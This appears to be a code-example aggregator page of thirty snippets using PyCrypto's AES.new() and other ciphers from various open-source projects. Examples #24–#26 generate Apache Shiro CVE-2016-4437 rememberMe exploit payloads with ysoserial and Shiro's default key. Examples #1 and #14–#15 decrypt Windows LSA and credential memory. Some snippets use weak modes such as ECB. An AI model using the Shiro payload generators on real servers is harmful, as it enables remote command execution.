Python Crypto.Cipher.AES.new() Examples

The following are 30 code examples of Crypto.Cipher.AES.new(). You can vote up the ones you like or vote down the ones you don't like, and go to the original project or source file by following the links above each example. You may also want to check out all available functions/classes of the module Crypto.Cipher.AES , or try the search function .
Example #1
Source File: lsasecretsw2k8.py    From ImpDump with GNU General Public License v2.0 7 votes vote down vote up
def decrypt_secret(data, key):
    if not data:
        return None

    aeskey = ""
    sha256 = SHA256.new()
    sha256.update(key)
    for i in range(1000):
        sha256.update(data[28:60])
    aeskey = sha256.digest()

    secret = ""
    aes = AES.new(aeskey)
    for key_offset in range(0, len(data) - 60, 16):
        if (key_offset + 16) <= len(data) - 60:
            secret = secret + aes.decrypt(data[60 + key_offset:60 + key_offset + 16])

    return secret 
Example #2
Source File: migration.py    From vault with MIT License 7 votes vote down vote up
def unlock(vault_path, key):
    """
        Unlock legacy vault and retrieve content
    """

    f = open(vault_path, "rb")
    try:
        nonce, tag, ciphertext = [f.read(x) for x in (16, 16, -1)]
    finally:
        f.close()

    # Unlock Vault with key
    cipher = AES.new(get_hash(key), AES.MODE_EAX, nonce)
    data = cipher.decrypt_and_verify(ciphertext, tag)

    # Set vault content to class level var
    return json.loads(data.decode("utf-8")) 
Example #3
Source File: aes-file-decrypt.py    From Effective-Python-Penetration-Testing with MIT License 6 votes vote down vote up
def decrypt_file(key, filename, chunk_size=24*1024):
        
    output_filename = os.path.splitext(filename)[0]

    with open(filename, 'rb') as infile:
        origsize = struct.unpack('<Q', infile.read(struct.calcsize('Q')))[0]
        iv = infile.read(16)
        decryptor = AES.new(key, AES.MODE_CBC, iv)

        with open(output_filename, 'wb') as outfile:
            while True:
                chunk = infile.read(chunk_size)
                if len(chunk) == 0:
                    break
                outfile.write(decryptor.decrypt(chunk))

            outfile.truncate(origsize) 
Example #4
Source File: aes.py    From eventsourcing with BSD 3-Clause "New" or "Revised" License 6 votes vote down vote up
def encrypt(self, plaintext: bytes) -> bytes:
        """Return ciphertext for given plaintext."""

        # Construct AES-GCM cipher, with 96-bit nonce.
        cipher = AES.new(self.cipher_key, AES.MODE_GCM, nonce=random_bytes(12))

        # Encrypt and digest.
        encrypted, tag = cipher.encrypt_and_digest(plaintext)  # type: ignore

        # Combine with nonce.
        ciphertext = cipher.nonce + tag + encrypted  # type: ignore

        # Return ciphertext.
        return ciphertext 
Example #5
Source File: aes.py    From eventsourcing with BSD 3-Clause "New" or "Revised" License 6 votes vote down vote up
def decrypt(self, ciphertext: bytes) -> bytes:
        """Return plaintext for given ciphertext."""

        # Split out the nonce, tag, and encrypted data.
        nonce = ciphertext[:12]
        if len(nonce) != 12:
            raise DataIntegrityError("Cipher text is damaged: invalid nonce length")

        tag = ciphertext[12:28]
        if len(tag) != 16:
            raise DataIntegrityError("Cipher text is damaged: invalid tag length")

        encrypted = ciphertext[28:]

        # Construct AES cipher, with old nonce.
        cipher = AES.new(self.cipher_key, AES.MODE_GCM, nonce)

        # Decrypt and verify.
        try:
            plaintext = cipher.decrypt_and_verify(encrypted, tag)  # type: ignore
        except ValueError as e:
            raise DataIntegrityError("Cipher text is damaged: {}".format(e))
        return plaintext 
Example #6
Source File: migration.py    From vault with MIT License 6 votes vote down vote up
def prepare_items(secrets, categories):
    """
        Prepare all secrets to the new import format
    """

    out = []
    for secret in secrets:
        out.append({
            'name': secret.get('name'),
            'url': None,  # Not supported in legacy database
            'login': secret.get('login'),
            'password': secret.get('password'),
            'notes': secret.get('notes'),
            'category': get_category_name(secret.get('category'), categories),
        })

    return out 
Example #7
Source File: crypto.py    From calm-dsl with Apache License 2.0 6 votes vote down vote up
def encrypt_AES_GCM(msg, password, kdf_salt=None, nonce=None):
        """Used for encryption of msg"""

        kdf_salt = kdf_salt or os.urandom(16)
        nonce = nonce or os.urandom(16)

        # Encoding of message
        msg = msg.encode()
        secret_key = Crypto.generate_key(kdf_salt, password)
        aes_cipher = AES.new(secret_key, AES.MODE_GCM, nonce=nonce)
        ciphertext, auth_tag = aes_cipher.encrypt_and_digest(msg)

        return (kdf_salt, ciphertext, nonce, auth_tag) 
Example #8
Source File: CreateLicense.py    From Encrypt-python-code-License-control with MIT License 5 votes vote down vote up
def encrypt(text):
    cryptor = AES.new(aesKey, aesMode, aesIv) #参考:https://www.cnblogs.com/loleina/p/8418108.html
    
    # padding
    add, length = 0, 16
    count = len(text)
    if count % length != 0:
        add = length - (count % length)
    text = text + ('\0' * add) # '\0'*add 表示add个空格,即填充add个直至符合16的倍数

    ciphertext = cryptor.encrypt(text)
    #因为AES加密时候得到的字符串不一定是ascii字符集的,输出到终端或者保存时候可能存在问题  
    #所以这里统一把加密后的字符串转化为16进制字符串 ,当然也可以转换为base64加密的内容,可以使用b2a_base64(self.ciphertext)
    return b2a_hex(ciphertext).upper() 
Example #9
Source File: bittrex.py    From Crypto-Trading-Bot with MIT License 5 votes vote down vote up
def api_query(self, method, options=None):
        """
        Queries Bittrex with given method and options

        :param method: Query method for getting info
        :type method: str
        :param options: Extra options for query
        :type options: dict

        :return: JSON response from Bittrex
        :rtype: dict
        """
        if not options:
            options = {}
        nonce = str(int(time.time() * 1000))
        method_set = "public"

        if method in MARKET_SET:
            method_set = "market"
        elif method in ACCOUNT_SET:
            method_set = "account"

        request_url = BASE_URL.format(method_set, method)

        if method_set != "public":
            request_url += "apikey={}&nonce={}&".format(self.api_key, nonce)

        request_url += urlencode(options)

        apisign = hmac.new(self.api_secret.encode(),
                           request_url.encode(),
                           hashlib.sha512).hexdigest()
        return self.dispatch(request_url, apisign) 
Example #10
Source File: bittrex.py    From Crypto-Trading-Bot with MIT License 5 votes vote down vote up
def get_historical_data(self, market, period, unit):
        """
        Queries the historical data in the form of a list

        :param market: String literal for the market (ex: BTC-LTC)
        :type market: str
        :param period: Number of periods to query
        :type period: int
        :param unit: Ticker interval (one of: 'oneMin', 'fiveMin', 'thirtyMin', 'hour', 'week', 'day', and 'month')
        :type unit: str

        :return: List adapted from Bittrex JSON response
        :rtype: list
        """
        request_url = "https://bittrex.com/Api/v2.0/pub/market/GetTicks?marketName={}&tickInterval={}".format(market,
                                                                                                              unit)

        try:
            historical_data = requests.get(request_url,
                                           headers={"apisign": hmac.new(self.api_secret.encode(), request_url.encode(),
                                                                        hashlib.sha512).hexdigest()}
                                           ).json()
            return historical_data["result"][-period:]
        except (json.decoder.JSONDecodeError, TypeError) as exception:
            logger.exception(exception)
            return [] 
Example #11
Source File: get_time.py    From Encrypt-python-code-License-control with MIT License 5 votes vote down vote up
def decrypt(self, text):
        """
        从.lic中解密出主机地址
        """
        try:
            cryptor = AES.new(self.aesKey, self.aesMode, self.aesIv)
        
            plain_text = cryptor.decrypt(a2b_hex(text))
            return plain_text.rstrip('\0')
        except:
            return "" 
Example #12
Source File: aes_keywrap.py    From pyaff4 with Apache License 2.0 5 votes vote down vote up
def aes_wrap_key_withpad(kek, plaintext):
    iv = 0xA65959A600000000 + len(plaintext)
    plaintext = plaintext + b"\0" * ((8 - len(plaintext)) % 8)
    if len(plaintext) == 8:
        return AES.new(kek, AES.MODE_ECB).encrypt(QUAD.pack[iv] + plaintext)
    return aes_wrap_key(kek, plaintext, iv) 
Example #13
Source File: aes_keywrap.py    From pyaff4 with Apache License 2.0 5 votes vote down vote up
def aes_unwrap_key_and_iv(kek, wrapped):
    n = len(wrapped)//8 - 1
    #NOTE: R[0] is never accessed, left in for consistency with RFC indices
    R = [None]+[wrapped[i*8:i*8+8] for i in range(1, n+1)]
    A = QUAD.unpack(wrapped[:8])[0]
    decrypt = AES.new(kek, AES.MODE_ECB).decrypt
    for j in range(5,-1,-1): #counting down
        for i in range(n, 0, -1): #(n, n-1, ..., 1)
            ciphertext = QUAD.pack(A^(n*j+i)) + R[i]
            B = decrypt(ciphertext)
            A = QUAD.unpack(B[:8])[0]
            R[i] = B[8:]
    return b"".join(R[1:]), A 
Example #14
Source File: mimikatz.py    From rekall with GNU General Public License v2.0 5 votes vote down vote up
def init_crypto_nt5(self):
        rc4_key_len = self.get_constant_object(
            'g_cbRandomKey', 'unsigned long').v()

        rc4_key_ptr = self.get_constant_object(
            'g_pRandomKey', target='Pointer')

        self.rc4_key = rc4_key_ptr.dereference_as(
            'String', target_args=dict(length=rc4_key_len, term=None)).v()

        desx_key_ptr = self.get_constant_object(
            'g_pDESXKey', target='Pointer')

        self.desx_key = desx_key_ptr.dereference_as(
            'String', target_args=dict(length=144, term=None)).v()

        self.feedback = self.get_constant_object(
            'g_Feedback', target='String',
            target_args=dict(length=8)).v()

        try:
            cipher = ARC4.new(self.rc4_key)
            decryption_enabled = True
        except ValueError as e_ve:
            decryption_enabled = False
            logging.warning('init_crypto_nt5 exception {}'.format(e_ve))
        finally:
            return decryption_enabled 
Example #15
Source File: mimikatz.py    From rekall with GNU General Public License v2.0 5 votes vote down vote up
def decrypt_nt5(self, encrypted):
        if not self.decryption_enabled:
            return obj.NoneObject()

        cipher = None
        if len(encrypted) % 8:
            if self.rc4_key:
                cipher = ARC4.new(self.rc4_key)
        else:
            if self.desx_key and self.feedback:
                cipher = lsadecryptxp.XP_LsaDecryptMemory(
                    self.desx_key, self.feedback)
        if cipher and encrypted:
            return cipher.decrypt(encrypted)
        return obj.NoneObject() 
Example #16
Source File: encryption.py    From pyrainbird with MIT License 5 votes vote down vote up
def decrypt(encrypted_data, decrypt_key):
    iv = bytes(encrypted_data[32:48])
    encrypted_data = bytes(encrypted_data[48 : len(encrypted_data)])

    m = SHA256.new()
    m.update(to_bytes(decrypt_key))

    symmetric_key = m.digest()
    symmetric_key = symmetric_key[:32]

    aes_decryptor = AES.new(symmetric_key, AES.MODE_CBC, iv)
    return aes_decryptor.decrypt(encrypted_data) 
Example #17
Source File: encryption.py    From pyrainbird with MIT License 5 votes vote down vote up
def encrypt(data, encryptkey):
    tocodedata = data + "\x00\x10"
    m = SHA256.new()
    m.update(to_bytes(encryptkey))
    b = m.digest()
    iv = Random.new().read(16)
    c = to_bytes(_add_padding(tocodedata))
    m = SHA256.new()
    m.update(to_bytes(data))
    b2 = m.digest()

    eas_encryptor = AES.new(b, AES.MODE_CBC, iv)
    encrypteddata = eas_encryptor.encrypt(c)
    return b2 + iv + encrypteddata 
Example #18
Source File: aes_keywrap.py    From pyaff4 with Apache License 2.0 5 votes vote down vote up
def aes_wrap_key(kek, plaintext, iv=0xa6a6a6a6a6a6a6a6):
    n = len(plaintext)//8
    R = [None]+[plaintext[i*8:i*8+8] for i in range(0, n)]
    A = iv
    encrypt = AES.new(kek, AES.MODE_ECB).encrypt
    for j in range(6):
        for i in range(1, n+1):
            B = encrypt(QUAD.pack(A) + R[i])
            A = QUAD.unpack(B[:8])[0] ^ (n*j + i)
            R[i] = B[8:]
    return QUAD.pack(A) + b"".join(R[1:]) 
Example #19
Source File: climate.py    From HomeAssistant-GreeClimateComponent with GNU General Public License v3.0 5 votes vote down vote up
def set_temperature(self, **kwargs):
        _LOGGER.info('set_temperature(): ' + str(kwargs.get(ATTR_TEMPERATURE)))
        # Set new target temperatures.
        if kwargs.get(ATTR_TEMPERATURE) is not None:
            # do nothing if temperature is none
            if not (self._acOptions['Pow'] == 0):
                # do nothing if HVAC is switched off
                _LOGGER.info('SyncState with SetTem=' + str(kwargs.get(ATTR_TEMPERATURE)))
                self.SyncState({ 'SetTem': int(kwargs.get(ATTR_TEMPERATURE))})
                self.schedule_update_ha_state() 
Example #20
Source File: bittrex.py    From Crypto-Trading-Bot with MIT License 5 votes vote down vote up
def decrypt(self):
        if encrypted:
            cipher = AES.new(getpass.getpass("Input decryption password (string will not show)"))
            try:
                self.api_key = ast.literal_eval(self.api_key) if type(self.api_key) == str else self.api_key
                self.api_secret = ast.literal_eval(self.api_secret) if type(self.api_secret) == str else self.api_secret
            except Exception:
                logger.exception(Exception)
                pass
            self.api_key = cipher.decrypt(self.api_key).decode()
            self.api_secret = cipher.decrypt(self.api_secret).decode()
        else:
            raise ImportError("`pycrypto` module has to be installed") 
Example #21
Source File: bittrex.py    From Crypto-Trading-Bot with MIT License 5 votes vote down vote up
def encrypt(api_key, api_secret, export=True, export_fn="../database/secrets.json"):
    cipher = AES.new(getpass.getpass("Input encryption password (string will not show)"))
    api_key_n = cipher.encrypt(api_key)
    api_secret_n = cipher.encrypt(api_secret)
    api = {"key": str(api_key_n), "secret": str(api_secret_n)}
    if export:
        write_json_to_file(export_fn, api)
    return api 
Example #22
Source File: arches_crypto.py    From arches with GNU Affero General Public License v3.0 5 votes vote down vote up
def decrypt(self, enc):
        enc = base64.b64decode(enc)
        iv = enc[: AES.block_size]
        cipher = AES.new(self.key, AES.MODE_CBC, iv)
        return self._unpad(cipher.decrypt(enc[AES.block_size :])).decode("utf-8") 
Example #23
Source File: arches_crypto.py    From arches with GNU Affero General Public License v3.0 5 votes vote down vote up
def encrypt(self, raw):
        raw = self._pad(raw)
        iv = Random.new().read(AES.block_size)
        cipher = AES.new(self.key, AES.MODE_CBC, iv)
        return base64.b64encode(iv + cipher.encrypt(raw)) 
Example #24
Source File: apache_shrio_deserialize_CVE-2016-4437.py    From vulscan with MIT License 5 votes vote down vote up
def generator(command, fp):
    if not os.path.exists(fp):
        raise Exception('jar file not found!')
    popen = subprocess.Popen(['java', '-jar', fp, 'JRMPClient', command],
                             stdout=subprocess.PIPE)
    BS = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    key = "kPH+bIxk5D2deZiIxcaaaA=="
    mode = AES.MODE_CBC
    iv = uuid.uuid4().bytes
    encryptor = AES.new(base64.b64decode(key), mode, iv)
    file_body = pad(popen.stdout.read())
    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
    return base64_ciphertext

# 
Example #25
Source File: 1.py    From vulscan with MIT License 5 votes vote down vote up
def encode_rememberme(command):  
   popen = subprocess.Popen(['java', '-jar', './ysoserial-0.0.6-SNAPSHOT-all.jar', 'CommonsBeanutils1', command], stdout=subprocess.PIPE)
   BS   = AES.block_size
   pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
   key  =  "kPH+bIxk5D2deZiIxcaaaA=="
   mode =  AES.MODE_CBC
   iv   =  uuid.uuid4().bytes
   encryptor = AES.new(base64.b64decode(key), mode, iv)
   file_body = pad(popen.stdout.read())
   base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
   return base64_ciphertext 
Example #26
Source File: 2.py    From vulscan with MIT License 5 votes vote down vote up
def encode_rememberme(command): 
	JAR_FILE = './ysoserial-0.0.6-SNAPSHOT-BETA-all.jar' 
	popen = subprocess.Popen(['java', '-jar',JAR_FILE, 'CommonsCollections2', command], stdout=subprocess.PIPE) 
	BS = AES.block_size 
	pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode() 
	key = "kPH+bIxk5D2deZiIxcaaaA=="
	mode = AES.MODE_CBC 
	iv = uuid.uuid4().bytes 
	encryptor = AES.new(base64.b64decode(key), mode, iv) 
	file_body = pad(popen.stdout.read()) 
	base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body)) 
	return base64_ciphertext 
Example #27
Source File: crypto.py    From RATDecoders with MIT License 5 votes vote down vote up
def decrypt_blowfish(key, data):
    cipher = Blowfish.new(key)
    return cipher.decrypt(data)


# RC6 - Custom 
Example #28
Source File: crypto.py    From RATDecoders with MIT License 5 votes vote down vote up
def decrypt_aes_cbc_iv(key, iv, data):
    mode = AES.MODE_CBC
    cipher = AES.new(key, mode, IV=iv)
    return cipher.decrypt(data)


# Blowfish 
Example #29
Source File: crypto.py    From RATDecoders with MIT License 5 votes vote down vote up
def decrypt_des3(key, data):
    cipher = DES3.new(key)
    return cipher.decrypt(data)


# AES 
Example #30
Source File: crypto.py    From RATDecoders with MIT License 5 votes vote down vote up
def decrypt_des_cbc(key, data, iv=None):
    mode = DES.MODE_CBC
    if iv:
        cipher = DES.new(key, mode, iv)
    else:
        cipher = DES.new(key, mode)
    return cipher.decrypt(data)


# DES3